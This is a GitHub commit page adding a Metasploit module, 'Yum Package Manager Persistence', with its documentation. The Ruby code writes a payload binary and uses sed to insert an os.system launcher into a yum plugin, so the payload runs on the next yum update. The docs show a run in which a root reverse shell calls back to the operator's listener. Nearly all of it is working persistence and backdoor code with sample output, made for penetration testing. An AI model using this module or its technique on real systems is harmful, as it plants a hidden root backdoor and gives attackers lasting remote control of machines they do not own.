-
Notifications
You must be signed in to change notification settings - Fork 13.8k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #11673, Add yum persistence module
- Loading branch information
1 parent
fc2d475
commit c2322a9
Showing
2 changed files
with
214 additions
and
0 deletions.
There are no files selected for viewing
84 changes: 84 additions & 0 deletions
84
documentation/modules/exploit/linux/local/yum_package_manager_persistence.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,84 @@ | ||
## Description | ||
|
||
This module will run a payload when the package manager is used. No | ||
handler is ran automatically so you must configure an appropriate | ||
exploit/multi/handler to connect. Module modifies a yum plugin to | ||
launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/ | ||
will show what plugins are currently enabled on the system. | ||
|
||
## Verification Steps | ||
|
||
1. Exploit a box that uses Yum | ||
2. `use linux/local/yum_package_manager_persistence` | ||
3. `set SESSION <id>` | ||
4. `set PAYLOAD cmd/unix/reverse_python` configure the payload as needed | ||
5. `exploit` | ||
|
||
When the system runs yum update the payload will launch. You must set handler accordingly. | ||
|
||
## Options | ||
|
||
**BACKDOOR_NAME** | ||
Name of backdoor executable | ||
|
||
**PLUGIN** | ||
Name of the yum plugin to target | ||
|
||
**WritableDir** | ||
Writable directory for backdoor default is (/usr/local/bin/) | ||
|
||
**PluginPath** | ||
Plugin path to use default is (/usr/lib/yum-plugins/) | ||
|
||
## Scenarios | ||
|
||
### Tested on Fedora 21 | ||
|
||
``` | ||
msf5 exploit(linux/local/yum_package_manager_persistence) > sessions | ||
Active sessions | ||
=============== | ||
Id Name Type Information Connection | ||
-- ---- ---- ----------- ---------- | ||
1 shell x86/linux 172.22.222.136:4444 -> 172.22.222.135:43790 (172.22.222.135) | ||
msf5 exploit(linux/local/yum_package_manager_persistence) > set session 1 | ||
session => 1 | ||
msf5 exploit(linux/local/yum_package_manager_persistence) > set plugin langpacks | ||
plugin => langpacks | ||
msf5 exploit(linux/local/yum_package_manager_persistence) > set lhost 172.22.222.136 | ||
lhost => 172.22.222.136 | ||
msf5 exploit(linux/local/yum_package_manager_persistence) > exploit | ||
[*] /usr/lib/yum-plugins/langpacks.py | ||
[+] Plugins are enabled! | ||
[*] Attempting to modify plugin | ||
[*] Backdoor uploaded to /usr/local/bin/z9fJTx2wVg | ||
[*] Backdoor will run on next Yum update | ||
msf5 exploit(linux/local/yum_package_manager_persistence) > [*] Command shell session 2 opened (172.22.222.136:4444 -> 172.22.222.135:43791) at 2019-04-30 06:21:12 -0500 | ||
msf5 exploit(linux/local/yum_package_manager_persistence) > sessions | ||
Active sessions | ||
=============== | ||
Id Name Type Information Connection | ||
-- ---- ---- ----------- ---------- | ||
1 shell x86/linux 172.22.222.136:4444 -> 172.22.222.135:43790 (172.22.222.135) | ||
2 shell cmd/unix 172.22.222.136:4444 -> 172.22.222.135:43791 (172.22.222.135) | ||
msf5 exploit(linux/local/yum_package_manager_persistence) > sessions -i 2 | ||
[*] Starting interaction with 2... | ||
id | ||
uid=0(root) gid=0(root) groups=0(root) | ||
uname -a | ||
Linux localhost.localdomain 3.17.4-301.fc21.x86_64 #1 SMP Thu Nov 27 19:09:10 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux | ||
exit | ||
[*] 172.22.222.135 - Command shell session 2 closed. | ||
msf5 exploit(linux/local/yum_package_manager_persistence) > | ||
``` | ||
|
||
Note: Session 2 is received after running yum update on the remote host. |
130 changes: 130 additions & 0 deletions
130
modules/exploits/linux/local/yum_package_manager_persistence.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,130 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Local | ||
Rank = ExcellentRanking | ||
include Msf::Exploit::EXE | ||
include Msf::Exploit::FileDropper | ||
include Msf::Post::File | ||
include Msf::Post::Linux::System | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'Yum Package Manager Persistence', | ||
'Description' => %q( | ||
This module will run a payload when the package manager is used. No | ||
handler is ran automatically so you must configure an appropriate | ||
exploit/multi/handler to connect. Module modifies a yum plugin to | ||
launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/ | ||
will show what plugins are currently enabled on the system. | ||
), | ||
'License' => MSF_LICENSE, | ||
'Author' => ['Aaron Ringo'], | ||
'Platform' => ['linux', 'unix'], | ||
'Arch' => | ||
[ | ||
ARCH_CMD, | ||
ARCH_X86, | ||
ARCH_X64, | ||
ARCH_ARMLE, | ||
ARCH_AARCH64, | ||
ARCH_PPC, | ||
ARCH_MIPSLE, | ||
ARCH_MIPSBE | ||
], | ||
'SessionTypes' => ['shell', 'meterpreter'], | ||
'DefaultOptions' => { | ||
'WfsDelay' => 0, 'DisablePayloadHandler' => 'true', | ||
'Payload' => 'cmd/unix/reverse_python' | ||
}, | ||
'DisclosureDate' => '2003-12-17', # Date published, Robert G. Browns documentation on Yum | ||
'References' => ['URL', 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sec-yum_plugins'], | ||
'Targets' => [['Automatic', {}]], | ||
'DefaultTarget' => 0 | ||
)) | ||
|
||
register_options( | ||
[ | ||
# /usr/lib/yum-plugins/fastestmirror.py is a default enabled plugin in centos | ||
OptString.new('PLUGIN', [true, 'Yum Plugin to target', 'fastestmirror']), | ||
OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write']) | ||
]) | ||
|
||
register_advanced_options( | ||
[ | ||
OptString.new('WritableDir', [true, 'A directory where we can write files', '/usr/local/bin/']), | ||
OptString.new('PluginPath', [true, 'Plugin Path to use', '/usr/lib/yum-plugins/']) | ||
]) | ||
end | ||
|
||
def exploit | ||
# checks /usr/lib/yum-plugins/PLUGIN.py exists and is writeable | ||
plugin = datastore['PLUGIN'] | ||
full_plugin_path = "#{datastore['PluginPath']}#{plugin}.py" | ||
print_status(full_plugin_path) | ||
unless writable? full_plugin_path | ||
fail_with Failure::BadConfig, "#{full_plugin_path} not writable, does not exist, or yum is not on system" | ||
end | ||
|
||
# /etc/yum.conf must contain plugins=1 for plugins to run at all | ||
plugins_enabled = cmd_exec "grep -F 'plugins=1' /etc/yum.conf" | ||
unless plugins_enabled.include? 'plugins=1' | ||
fail_with Failure::NotVulnerable, 'Plugins are not set to be enabled in /etc/yum.conf' | ||
end | ||
print_good('Plugins are enabled!') | ||
|
||
# /etc/yum/pluginconf.d/PLUGIN.conf must contain enabled=1 | ||
plugin_conf = "/etc/yum/pluginconf.d/#{plugin}.conf" | ||
plugin_enabled = cmd_exec "grep -F 'enabled=1' #{plugin_conf}" | ||
unless plugin_enabled.include? 'enabled=1' | ||
print_bad("#{plugin_conf} plugin is not configured to run") | ||
fail_with Failure::NotVulnerable, "try: grep -F 'enabled=1' /etc/yum/pluginconf.d/*" | ||
end | ||
|
||
# plugins are made in python and generate pycs on successful execution | ||
unless exist? "#{full_plugin_path}c" | ||
print_warning('Either Yum has never been executed, or the selected plugin has not run') | ||
end | ||
|
||
# check for write in backdoor path and set/generate backdoor name | ||
backdoor_path = datastore['WritableDir'] | ||
unless writable? backdoor_path | ||
fail_with Failure::BadConfig, "#{backdoor_path} is not writable" | ||
end | ||
backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10) | ||
backdoor_path << backdoor_name | ||
|
||
# check that the plugin contains an import os, to backdoor | ||
import_os_check = cmd_exec "grep -F 'import os' #{full_plugin_path}" | ||
unless import_os_check.include? 'import os' | ||
fail_with Failure::NotVulnerable, "#{full_plugin_path} does not import os, which is odd" | ||
end | ||
|
||
# check for sed binary and then append launcher to plugin underneath | ||
print_status('Attempting to modify plugin') | ||
launcher = "os.system('setsid #{backdoor_path} 2>/dev/null \\& ')" | ||
sed_path = cmd_exec "command -v sed" | ||
unless sed_path.include?('sed') | ||
fail_with Failure::NotVulnerable, 'Module uses sed to modify plugin, sed was not found' | ||
end | ||
sed_line = "#{sed_path} -ie \"/import os/ a #{launcher}\" #{full_plugin_path}" | ||
cmd_exec sed_line | ||
|
||
# actually write users payload to be executed then check for write | ||
if payload.arch.first == 'cmd' | ||
write_file(backdoor_path, payload.encoded) | ||
else | ||
write_file(backdoor_path, generate_payload_exe) | ||
end | ||
unless exist? backdoor_path | ||
fail_with Failure::Unknown, "Failed to write #{backdoor_path}" | ||
end | ||
|
||
# change perms to reflect bins in /usr/local/bin/, give good feels | ||
chmod(backdoor_path, 0755) | ||
print_status("Backdoor uploaded to #{backdoor_path}") | ||
print_status('Backdoor will run on next Yum update') | ||
end | ||
end |